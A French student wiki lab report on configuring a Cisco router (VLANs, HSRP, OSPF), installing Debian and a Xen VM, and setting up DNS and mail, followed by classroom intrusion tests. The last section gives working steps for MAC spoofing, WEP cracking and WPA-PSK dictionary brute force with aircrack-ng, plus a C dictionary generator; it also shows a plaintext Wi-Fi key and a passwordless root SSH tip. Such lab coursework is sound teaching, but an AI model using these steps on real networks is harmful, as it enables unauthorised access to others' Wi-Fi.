TP sysres IMA2a5 2015/2016 G1

De Wiki d'activités IMA

Projet Sys&Res IMA2A S9


Partie I - Réalisation en monome : Configuration du routeur

a) Affectation des Vlan et des adresses aux élèves

Ci-dessous, le tableau regroupant Les adresses et Vlan associés aux élèves :

Vlan N°NomPlage d'adresseAdresse VlanAdresse Passerelle
2Puduc172.20.100.0/24172.20.100.253172.20.100.254
3Nounours172.20.101.0/24172.20.101.253172.20.101.254
4Jeuno172.20.102.0/24172.20.102.253172.20.102.254
5Relax172.20.103.0/24172.20.103.253172.20.103.254
6John172.20.104.0/24172.20.104.253172.20.104.254
7Loki172.20.105.0/24172.20.105.253172.20.105.254
8Papy172.20.106.0/24172.20.106.253172.20.106.254
10Hub193.48.57.176/28193.48.57.189193.48.57.190
131Interco192.168.222.8/29192.168.222.10/29X


Explication :
Chaque élève obtient une plage d'adresse allant de 172.20.10X.0 à 172.20.10X.254 (172.20.10X.255 étant le broadcast).
Deux routeur sont sur le réseau en redodance. Un seul suffit pour router. C'est pourquoi, pour chaque Vlan, on associe l'adresse par défaut 172.20.10X.254.
Puis, le routeur disponible change cette adresse par : 172.20.100.252 pour le routeur d'Eric et 172.20.100.253 pour le miens.
Dans le cas où les deux routeurs sont disponibles, alors c'est celui qui a la plus grande priorité qui fera l'action. La priorité se change avec la comande suivante : Switch(config-if)#stanby 1 priority 110 // pour une priorité égale à 110 (par défaut, la priorité est de 100).
Pour que le routeur de l'école connaît toutes ces adresses et vis-versa, on effectue un échange de table de routage par le protocole de routage OSPF.

b) Implantation des éléments dans le routeur

Astuce pour trouver le numéro de port usb connecté au routeur : taper la commande ls /dev/ttyUSB*. Puis, connecter le routeur au PC via la liaison série. Enfin retaper la même commande
Le port usb recherché est celui qui vient d’apparaître.
Une fois en dialogue avec le routeur, les lignes à taper sont les suivantes :


/*****Affectation adresse IP et netmask*****/

Switch>en  //passage en administrateur
Switch#conf t  //configuration
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#int vlan 2  //Entrer dans la config du vlan 2
Switch(config-if)#ip adress 172.20.100.253 255.255.255.0  //Affectation de l'adresse du Vlan
Switch(config-if)#standby 1 ip 172.20.100.254  //Affectation de l'adresse du Vlan connu par les machines
Switch(config-if)#standby 1 preempt  //Utilisation du protocole HSRP (pour la redondance)
Switch(config-if)#standby 1 priority 100  //Affecte le niveau de priorité. (Inutile pour priorité = 100)
Switch(config-if)#exit
Switch(config)#exit
Switch#write  //Avec cette commande, la config ne sera pas perdu si le routeur est éteint électriquement.


/*****Affecter un nom au Vlan*****/
Switch#conf t  //configuration
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#vlan 3
Switch(config-vlan)#name Nounours
Switch(config-vlan)#exit
Switch(config)#exit
Switch#write


/*****Affecter un port pour internet*****/
Switch#conf t 
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#int GigabitEthernet 0/47  //on entre dans la config du port GigabitEthernet 0/47
Switch(config-if)#Switchport mode acess Vlan 131  //On définit que ce port est associé au Vlan 131 (internet)
Switch(config-if)#exit
Switch(config)#exit
Switch#write


/*****Echange des tables de routages*****/
Switch(config)#router ospf 1
Switch(config-router)#log-adjacency-changes
Switch(config-router)#router-id 172.20.100.253
Switch(config-router)#log-adjacency-changes   
Switch(config-router)#summary-address 172.20.96.0 255.255.240.0
//Nos adresses allant de 172.20.100.0/24 à 172.20.106.0/24, j'ai ciblé l'échange en associant le masque 255.255.240.0.
Switch(config-router)#summary-address 193.48.57.0 255.255.255.0
Switch(config-router)#redistribute connected subnets
Switch(config-router)#redistribute connected metric 30 subnets
/*Pour que le routeur de l'école connaît le routeur à utiliser pour contacter nos machines,
on attribue sur chaque routeur une priorité. Comme j'ai le routeur "de secoure", je mets donc moins de priorité au miens.
J'ai donc attribué un metric 30 et Eric un metric 20.*/
Switch(config-router)#network 192.168.222.8 0.0.0.7 area 2
Switch(config-router)#exit
Switch(config)#exit
Switch#write

Avant le write, il est possible de voir l'ensemble de la config grâce à show run.

Partie II - Réalisations communes

a) Installation des systèmes d'exploitation

a1) Installation sur l'eeePC

Il a tout d'abord fallu trouver une image debian sur internet qui est adapté à notre eeePc, puis la mettre sur une clé USB bootable.
Avant de booter sur cette clé, j'ai dû désactiver l'option de démarrage sécurisé (option qui vérifie que l'OS est authentique).
Puis j'ai démarré l'eeePc sur cette clé est installé le linux.

Configuration réseau manuelle :

Adresse IP de la machine (une adresse dans ma zone réservé qui est 172.20.100.0/24) : 172.20.100.10
Masque du réseau : 255.255.255.0 (/24)
Passerelle : 172.20.100.254
Serveur de nom : 193.48.57.34
Nom de la machine : zebrasoma
Domaine : Deule.net

Configuration de la partition manuelle :
J'ai changé la partition de windows initialement de 22.0 GB à 8GB.
Il me reste donc 14GB de libre, j'ai pu donc mettre linux sur cette espace.

Pour continuer l'installation il faut renseigner les points suivant :
Nom du miroir de l'archive Debian : debian.polytech-lille.fr
Mandataire HTTP : http ://proxy.polytech-lille.fr:3128

a2) Installation dans la machine virtuelle Xen

Puis, j'ai créé une machine virtuelle en me connectant sur root@cordouan.insecserv.deule.net
La commande pour creer la machine virtuelle est la suivante :
xen-create-image --hostname Troll --ip 193.48.57.177 --netmask 255.255.255.240 --dir /usr/local/xen

Hostname  : Troll
Distribution  : jessie
MAC Address  : 00:16:3E:9F:A4:0A
IP Address(es)  : 193.48.57.177
RSA Fingerprint : 9b:68:20:bf:bc:04:d1:2f:85:2d:8a:2e:52:e8:38:e2
Root Password  : tenue secret non mais oh!

Commande utile :


Pour ouvrir la machine : xl create /etc/xen/Troll.cfg
Pour voir les machine d'ouverte : xl list
Pour acceder à la machine : xl console Troll
Pour la fermer : halt
nano /etc/ssh/sshd_config allow route login (without password)->yes
apt -get purge network-manager systemd
Attention, avant de rebooter, taper cette commande impérativement
init tab , puis trouver tout en bas 1:??45:tty1 remplacer par 1:??45:hvc0



b) Service Internet

b1) Serveur ssh

Pour que mon Eee PC se connecte automatiquement à une borne wifi, il est nécessaire de modifier le fichier /etc/network/interfaces
Pour ma part, je me connecte sur la borne de Marrouane. Ci dessous, la modification apporté au fichier :

uto wlan0
iface wlan0 inet static
        wireless-mode managed
        wireless-essid T1  //Borne de marouanne
        wireless-key 0000000000  //Mot de passe de la borne wifi de marrouane
        address 172.26.79.63   //adresse de mon pc
        netmask 255.255.240.0
        gateway 172.26.79.254

Les deux machine sont maintenant connectés et accessibles par ssh

b2) Serveur DNS

Afin de configurer notre serveur DNS, il est necessaire de modifier les trois fichiers suivant :

  • named.conf.local
  • db.Clem
  • named.conf.options

En voici les modifications :

named.conf.local :
zone "clement-millet.work" {
        type master; // dns maître (l'esclave sera gandi)
        file "/etc/bind/db.Clem";  //On met la conf dans ce fichier et on garde la conf par defaut dans le fichier /etc/bind/db.

-----------------------------------------------------------------------------------------------------------------------------------

db.Clem :
;
; BIND data file for local loopback interface
;
$TTL    3600
@       IN      SOA     ns admin (
                              3         ; Serial  //Numéro qu'on incrémente à chaque modif de façon à ce que ce soit pris en compte
                           3600         ; Refresh  //Données en seconde
                            600         ; Retry
                          36000         ; Expire
                           3600 )       ; Negative Cache TTL
;
@       IN      NS      ns
@       IN      NS      ns6.gandi.net.
@       IN      MX      100 mail

ns      IN      A       193.48.57.177 //adresse de ma machine virtuel
mail    IN      A       193.48.57.177
www     IN      CNAME   ns // = alias de ns
};

-----------------------------------------------------------------------------------------------------------------------------------

named.conf.options :
options {
        directory "/var/cache/bind";

        dnssec-validation auto;

        auth-nxdomain no;    # conform to RFC1035
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
};

acl "allowed_to_transfer" {
        217.70.177.40/32; //On autorise toutes les adresses dans cette plage, sachant que L'adresse de www.gandi.net est 217.70.184.1
};


Il est maintenant necessaire de renseigner à gandi l'adresse de ????

b3) Sécurisation de site web par certificat
b4) Sécurisation de serveur DNS par DNSSEC

Je me connecte sur ma machine virtuelle puis j'installe les packages suivants :

  • postfix
  • mailx
  • bsd-mailx

Je modifie le fichier /etc/aliases et j'ajoute la ligne : admin: root
Je recompile en tapant la commande newaliases
J'envoie ensuite un mail à admin@clement-millet.work
Puis, je vérifie si j'ai bien reçu le mail en tapant mailx => mail bien reçu
Je peux donc maintenant creer un certificat ssl pour mon nom de domaine et recevoir la confirmation par mail.

c) Tests d'intrusion

c1) Intrusion par changement d'adresse MAC

En changeant le fichier /etc/network/interfaces de façon à me connecter à la borne de maxime, je n'ai plus de connexion internet
Cela est normale vu que dans la config de sa borne, mon adresse mac n'est pas autorisé.
En changent mon adresse mac par celle de Nour par exemple, je peux me connecter.
Changement d’adresse mac :

# ifconfig wlan0 down
# ifconfig wlan0 hw ether 00:15:af:e7:19:f3  //adresse mac de Nour
# ifconfig wlan0 up


c2) Cassage de clef WEP d'un point d'accès Wifi

En premier lieu, j'ai installé le paquetages utile à la manipulation : aircrack-ng
Après avoir installé tous ce qu'il faut, nous avons remarqué qu'il était impossible de passer nos carte wifi en mode monitor.
Nous utiliserons donc une clé Wifi pour faire cette manipulation, puis je l'identifie (wlan4).
Je passe donc cette clé en mode monitor grâce à la commande airmon-ng start wlan4 après avoir fait un apt-get install firmware-ralink
Ceci me génère le mon0 qui permet de voir passer toute les trames wifi passer, et pas uniquement les trame ethernet.
Afin d'augmenter le trafique du point d'accès, je peux utiliser la commande aireplay-ng
Puis j'écoute toues les trames wifi avec la commande airodump-ng mon0
Lorsque les différents réseaux sont identifiés, je me focalise sur celui qui m'intéresse (cracotte02) grâce à la commande airodump-ng -d BSSID mon0 -- channel 5
avec BSSID de cracotte02 = 04:DA:D2:9C:50:51
afin de tout enregistrer dans des fichier pour ensuite annaliser les capture, je rajoute à la fin -w nom_fichier
Après avoir obtenue au moins 50 000 données capturées, je lance l'algorithme de craquage aircrack-ng nom_fichier*.cap.
KEY FOUND! [AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:BB]

c3) Cassage de mot de passe WPA-PSK par force brute

Ici, le cassage de clés fonctionne différemment. Nous devons tout d'abord établir un dictionnaire regroupant tous les clés possible. (en supposant que la clé est de 8 octets n'ayant que des chiffres)
Pour générer ce dictionnaire, j’exécute le programme suivant :

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int main()
{
   int i=0;
   for(i=0;i < pow(10,8);i++) //10⁸-1
   {
      printf("%08d\n",i);
   }
   return 0;
}

Je l'execute avec une redirection vers le fichier dictionnaire.txt.
Puis, il faut maintenant attendre que quelqu'un se connecte à la borne afin de récupérer le handshake (que je place dans un fichier)
Je tape donc la commande : airodump-ng --channel 7 -d 04:DA:D2:9C:50:51 mon0 -w handshake
Je copie les fichiers générés sur une zabeth afin de cracker plus rapidement.
Je lance ensuite l'algorithme de craquage : aircrack-ng -w dictionnaire.txt handshake*.cap, puis j'attends
KEY FOUND! [ 12399902 ]


Nom de domaine reservé : clement-millet.work